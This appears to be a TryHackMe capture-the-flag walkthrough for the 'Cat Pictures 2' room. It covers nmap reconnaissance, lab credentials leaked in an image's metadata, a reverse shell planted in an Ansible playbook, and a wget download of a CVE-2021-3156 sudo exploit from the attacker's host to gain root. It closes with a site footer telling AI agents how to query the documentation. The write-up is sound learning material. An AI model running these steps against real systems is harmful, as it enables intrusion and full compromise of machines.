# THM - Cat pictures 2

{% embed url="<https://tryhackme.com/room/catpictures2>" %}

### Phase 1 - Reconnaisance

After starting the THM machine, I scan it using `nmap`

First, a small scan:

<figure><img src="/files/XQInXy2oTXBu9MldhIup" alt=""><figcaption></figcaption></figure>

Then, a full scan:

<details>

<summary>Full scan</summary>

```
┌─[root@edu-virtualbox]─[/home/edu/THM/cat_pictures_2]
└──╼ #nmap -A -p- 10.10.21.51
Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-30 20:13 CEST
Nmap scan report for 10.10.21.51
Host is up (0.060s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 33:f0:03:36:26:36:8c:2f:88:95:2c:ac:c3:bc:64:65 (RSA)
|   256 4f:f3:b3:f2:6e:03:91:b2:7c:c0:53:d5:d4:03:88:46 (ECDSA)
|_  256 13:7c:47:8b:6f:f8:f4:6b:42:9a:f2:d5:3d:34:13:52 (ED25519)
80/tcp   open  http    nginx 1.4.6 (Ubuntu)
| http-robots.txt: 7 disallowed entries
|_/data/ /dist/ /docs/ /php/ /plugins/ /src/ /uploads/
|_http-title: Lychee
| http-git:
|   10.10.21.51:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|       https://github.com/electerious/Lychee.git
|_    Project type: PHP application (guessed from .gitignore)
|_http-server-header: nginx/1.4.6 (Ubuntu)
222/tcp  open  ssh     OpenSSH 9.0 (protocol 2.0)
| ssh-hostkey:
|   256 be:cb:06:1f:33:0f:60:06:a0:5a:06:bf:06:53:33:c0 (ECDSA)
|_  256 9f:07:98:92:6e:fd:2c:2d:b0:93:fa:fe:e8:95:0c:37 (ED25519)
1337/tcp open  waste?
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Content-Length: 3858
|     Content-Type: text/html; charset=utf-8
|     Date: Fri, 30 Jun 2023 18:14:34 GMT
|     Last-Modified: Wed, 19 Oct 2022 15:30:49 GMT
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>OliveTin</title>
|     <link rel = "stylesheet" type = "text/css" href = "style.css" />
|     <link rel = "shortcut icon" type = "image/png" href = "OliveTinLogo.png" />
|     <link rel = "apple-touch-icon" sizes="57x57" href="OliveTinLogo-57px.png" />
|     <link rel = "apple-touch-icon" sizes="120x120" href="OliveTinLogo-120px.png" />
|     <link rel = "apple-touch-icon" sizes="180x180" href="OliveTinLogo-180px.png" />
|     </head>
|     <body>
|     <main title = "main content">
|     <fieldset id = "section-switcher" title = "Sections">
|     <button id = "showActions">Actions</button>
|     <button id = "showLogs">Logs</but
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Accept-Ranges: bytes
|     Content-Length: 3858
|     Content-Type: text/html; charset=utf-8
|     Date: Fri, 30 Jun 2023 18:14:35 GMT
|     Last-Modified: Wed, 19 Oct 2022 15:30:49 GMT
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>OliveTin</title>
|     <link rel = "stylesheet" type = "text/css" href = "style.css" />
|     <link rel = "shortcut icon" type = "image/png" href = "OliveTinLogo.png" />
|     <link rel = "apple-touch-icon" sizes="57x57" href="OliveTinLogo-57px.png" />
|     <link rel = "apple-touch-icon" sizes="120x120" href="OliveTinLogo-120px.png" />
|     <link rel = "apple-touch-icon" sizes="180x180" href="OliveTinLogo-180px.png" />
|     </head>
|     <body>
|     <main title = "main content">
|     <fieldset id = "section-switcher" title = "Sections">
|     <button id = "showActions">Actions</button>
|_    <button id = "showLogs">Logs</but
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: no-store, no-transform
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: i_like_gitea=6de27d5906dc7a18; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=mY1h_Qvn2qw5mPR-5HMZWob8r6E6MTY4ODE0ODg3NTE0NTkzMjc5OA; Path=/; Expires=Sat, 01 Jul 2023 18:14:35 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 30 Jun 2023 18:14:35 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title> Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Cache-Control: no-store, no-transform
|     Set-Cookie: i_like_gitea=dd3b3e4c469357e6; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=pyH7b-ZI4S-G_fKyialQTiNlKx06MTY4ODE0ODg4MDU4ODcwODE5NQ; Path=/; Expires=Sat, 01 Jul 2023 18:14:40 GMT; HttpOnly; SameSite=Lax
|     Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 30 Jun 2023 18:14:40 GMT
|_    Content-Length: 0
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.6.9)
|_http-title: Welcome to nginx!
|_http-server-header: SimpleHTTP/0.6 Python/3.6.9
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
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==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
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No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
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OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8888/tcp)
HOP RTT      ADDRESS
1   22.19 ms 10.8.0.1
2   57.01 ms 10.10.21.51

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.76 seconds
┌─[root@edu-virtualbox]─[/home/edu/THM/cat_pictures_2]
└──╼ #

```

</details>

There are 4 total HTTP ports, and 2 SSH ports.

### Exploring the HTTP servers

On port 80, there is a "Lychee" server running, with a few cat pictures on it.

<figure><img src="/files/8hVcTHJf55LBHsCzumR0" alt=""><figcaption></figcaption></figure>

When you click on the cat image, it shows 7 in total.

<figure><img src="/files/POXPezMxGXbCyqMoDFkC" alt=""><figcaption></figcaption></figure>

After clicking on one of the buttons, and pressing the "information"-button, it shows a note to self:

<figure><img src="/files/1QNG6ycFWvBJ1ykvazSp" alt=""><figcaption></figcaption></figure>

"Strip metadata". So let's take a look at the metadata:\
After downloading the first image using `wget`, and running `exiftool` on the image, something interesting shows up:

<figure><img src="/files/ew5NFAjccy9NHB2MyTQY" alt=""><figcaption></figcaption></figure>

The `Title` header has a link to a text file on port `8080`

#### Port 8080

<figure><img src="/files/d0DmFmFN9LzPVog5AdVe" alt=""><figcaption></figcaption></figure>

Port 8080 itself only holds an empty `nginx` server, but after visiting the link found in the image, it shows a small note:

<figure><img src="/files/Q6lb5T9l6z7VJpYG1SVB" alt=""><figcaption></figcaption></figure>

```
note to self:

I setup an internal gitea instance to start using IaC for this server. It's at a quite basic state, but I'm putting the password here because I will definitely forget.
This file isn't easy to find anyway unless you have the correct url...

gitea: port 3000
user: samarium
password: TUmhyZ37CLZrhP

ansible runner (olivetin): port 1337
```

So now we have credentials for one server, and directions to a server on port 1337.

On port 3000, there is a Gitea server running:

<figure><img src="/files/45RvlydpiRoiEWpguah6" alt=""><figcaption></figcaption></figure>

At the top right, there is a sign-in page, which we can use the credentials we found in the note for.

After logging into the Gitea server, we see there is an "Ansible" project running.

<figure><img src="/files/QcSrK2MWl3YpSNJeN088" alt=""><figcaption></figcaption></figure>

After clicking on the `ansible` link, we can see two interesting files; `flag1` and `playbook.yaml`:

<figure><img src="/files/oVkQeHHXQm5J5xmIhVjF" alt=""><figcaption></figcaption></figure>

After getting the flag from `flag1.txt`, we take a look at `playbook.yaml`:

<figure><img src="/files/F20INC7OydsqrlQwTnjb" alt=""><figcaption></figcaption></figure>

This playbook runs the `whoami` command on the host system, and it is editable using the pencil button on the top right. We use <https://www.revshells.com/>, with the `python3 #2` reverse shell:

<figure><img src="/files/AldQyWecIRQHddUc9fiN" alt=""><figcaption></figcaption></figure>

After saving the edits, we open a `netcat` listener on the port entered into `revshells.com` (in my case port 4444):

![](/files/JW7bdzIK6vNlYsFnMm14)

we visit the webpage on port `1337`, as instructed by the note.

Here, we can see five buttons, with one being `Run Ansible Playbook`

<figure><img src="/files/w1P5Z0P8ks0O98HLKgCl" alt=""><figcaption></figcaption></figure>

When you press the button, it will run whatever is inside of `playbook.yaml`, so in our case the reverse shell. After waiting around 20 seconds, the listener catches a reverse shell:\
![](/files/KXDUlMp3cDG8j50Rb8Kb)

### Phase 2 - Exploiting the system

First, we stabilize the shell using these lines:

```
# Control-z
stty raw -echo
fg
# Enter
export TERM=xterm
stty rows 52 cols 238
```

![](/files/3NNQs9qgaCS8OFVpWMMe)

After running `ls`, we immediately find flag 2:

![](/files/qFfL4RdZWRoeji4KMsrD)

Then, we upload `linpeas.sh` using a python3 web server and `wget` :&#x20;

<figure><img src="/files/38aknEiaWQwpm73TgnOh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sfzaz2Vuh5oZ0QzJLSAn" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Replace the `$IP_ADDRESS with your THM VPN IP address.`
{% endhint %}

Now that we have the binary on the machine, we run it, piping the standard output to a `log.txt` file, and the errors to `/dev/null`:

<figure><img src="/files/5q71M4bNAeJRFm43DPal" alt=""><figcaption></figcaption></figure>

After `linpeas.sh` finishes, we check out the log file.

At the top of the file, we can see the `sudo` level, which is marked in red:

<figure><img src="/files/E1wBUBO72KDj8Ku63HQM" alt=""><figcaption></figcaption></figure>

Version `1.8.21p2` is pretty old, so let's see if we can find any exploits online:

<figure><img src="/files/YIkS6L8Hi97B6LthMdGg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AcNw6sYUeLE1gtuGuuYe" alt=""><figcaption></figcaption></figure>

The link takes us to a PoC for `CVE-2021-3156`, which we first download to our system:

<figure><img src="/files/5T9Se6MpUayDUKEwVjv4" alt=""><figcaption></figcaption></figure>

Then we upload it to the target machine using:

```
wget -r HTTP://$IP_ADDRESS:8000/CVE-2021-3156/
```

Then we follow the instructions on the Github page, running `make` and `./exploit`, and we have root.

<figure><img src="/files/v5jwKDWfhnWfAFzwE6TW" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eduw.gitbook.io/writeups/thm-cat-pictures-2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

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